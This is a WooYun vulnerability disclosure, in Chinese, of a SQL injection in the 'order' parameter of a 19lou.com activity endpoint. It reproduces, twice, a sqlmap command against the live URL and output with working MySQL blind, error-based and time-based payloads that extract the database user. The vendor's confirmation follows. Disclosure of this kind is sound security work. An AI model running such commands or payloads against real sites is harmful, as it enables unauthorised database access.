当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0187243

漏洞标题:19lou主站存在SQL注入

相关厂商:十九楼

漏洞作者: firexp

提交时间:2016-03-21 12:05

修复时间:2016-05-05 12:08

公开时间:2016-05-05 12:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-31: 细节向核心白帽子及相关领域专家公开
2016-04-10: 细节向普通白帽子公开
2016-04-20: 细节向实习白帽子公开
2016-05-05: 细节向公众公开

简要描述:

注入

详细说明:

http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon


order参数存在注入
python sqlmap.py -c sqlmap.conf -u "http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon" --level 2 --dbms=mysql -p order --current-user
_
___ ___| |_____ ___ ___ {1.0-stable}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:03:48
[12:03:48] [INFO] fetched random HTTP User-Agent header from file 'D:\Tools\sqlmap-1.0\txt\user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0'
[12:03:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: order (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id RLIKE (SELECT (CASE WHEN (2454=2454) THEN 0x6964 ELSE 0x28 END))&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id AND (SELECT 1842 FROM(SELECT COUNT(*),CONCAT(0x716a707871,(SELECT (ELT(1842=1842,1))),0x716b627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)
Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id XOR (SELECT * FROM (SELECT(SLEEP(3)))WFpw)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon
---
[12:03:48] [INFO] testing MySQL
[12:03:48] [INFO] confirming MySQL
[12:03:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[12:03:48] [INFO] fetching current user
[12:03:48] [INFO] resumed: [email protected].%.%
current user: '[email protected].%.%'

漏洞证明:

http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon


order参数存在注入
python sqlmap.py -c sqlmap.conf -u "http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon" --level 2 --dbms=mysql -p order --current-user
_
___ ___| |_____ ___ ___ {1.0-stable}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:03:48
[12:03:48] [INFO] fetched random HTTP User-Agent header from file 'D:\Tools\sqlmap-1.0\txt\user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0'
[12:03:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: order (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id RLIKE (SELECT (CASE WHEN (2454=2454) THEN 0x6964 ELSE 0x28 END))&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id AND (SELECT 1842 FROM(SELECT COUNT(*),CONCAT(0x716a707871,(SELECT (ELT(1842=1842,1))),0x716b627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)
Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id XOR (SELECT * FROM (SELECT(SLEEP(3)))WFpw)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon
---
[12:03:48] [INFO] testing MySQL
[12:03:48] [INFO] confirming MySQL
[12:03:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[12:03:48] [INFO] fetching current user
[12:03:48] [INFO] resumed: [email protected].%.%
current user: '[email protected].%.%'

修复方案:

过滤

版权声明:转载请注明来源 firexp@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-03-21 12:08

厂商回复:

哎哟我去,谢谢楼主

最新状态:

暂无